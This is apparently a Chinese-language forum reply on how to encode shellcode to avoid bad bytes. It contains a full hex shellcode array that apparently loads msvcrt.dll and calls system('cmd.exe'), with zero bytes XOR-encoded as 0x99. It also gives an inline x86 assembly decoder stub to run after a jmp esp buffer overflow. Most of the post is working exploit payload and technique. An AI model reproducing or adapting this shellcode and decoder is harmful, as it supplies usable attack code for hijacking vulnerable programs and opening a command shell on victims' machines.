Originally posted by icefall
是为了解码ShellCode,避免出现0x0d 0x0a之类的特殊字符 在xfocus出的《网络渗透技术》上找到了类似程序 有时间我再研究研究 谢回复
这个不需要的,你在shellcode头包含解码程序,那么解码程序执行后,堆栈中的shellcode就已经转换了,不需要写会文件.....
这个是一个大牛的shellcode,直接在堆栈解码...一般shellcode头都包含解码程序....比如: 解码代码+shellcode
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ;这里是解码程序
"\x55\x51\x52\x8B\xEC\x83\xEC\x20\x33\xC9" ;shellcode开始位置
"\xC6\x45\xF5\x6D\xC6\x45\xF6\x73\xC6\x45"
"\xF7\x76\xC6\x45\xF8\x63\xC6\x45\xF9\x72"
"\xC6\x45\xFA\x74\xC6\x45\xFB\x2E\xC6\x45"
"\xFC\x64\xC6\x45\xFD\x6C\xC6\x45\xFE\x6C"
"\xC6\x45\xFF\x99\x8D\x45\xF5\x50\xB9\x54"//<=----第一个编码后的0x99,请比较未编码前的相应位置的值
"\xA2\xE6\x77\xFF\xD1\x8B\xD0\xC6\x45\xF5"
"\x73\xC6\x45\xF6\x79\xC6\x45\xF7\x73\xC6"
"\x45\xF8\x74\xC6\x45\xF9\x65\xC6\x45\xFA"
"\x6D\xC6\x45\xFB\x99\x8D\x45\xF5\x50\x52"//<=----第二个编码后的0x99
"\xB9\xC1\x9A\xE6\x77\xFF\xD1\x8B\xD0\xC6"
"\x45\xF5\x63\xC6\x45\xF6\x6D\xC6\x45\xF7"
"\x64\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6"
"\x45\xFA\x78\xC6\x45\xFB\x65\xC6\x45\xFC"
"\x99\x8D\x45\xF5\x50\xFF\xD2\x83\xC4\x04"//<=----第三个编码后的0x99
"\x8B\xE5\x5A\x59\x5D";
需要在它头部加上以下解码子程序:
__asm
{
mov eax,esp; //这是溢出后执行jmp esp后执行的第一条指令,esp指向当前指令地址,意义是"获得解码程序起址"
add eax,44h; //这个解码子程序有20个字节(解码程序起址+20=code起址,再加上53偏移)使eax指向第一个编码过的0x99
xor [eax],99h //解码第一个0x99,这个操作的意义是"0x99异或0x99=0x00",即还原成0x00
add eax,28h //指向第95偏移
xor [eax],99h //解码第二个0x99
add eax,2eh //指向第140偏移
xor [eax],99h //解码第三个0x99
}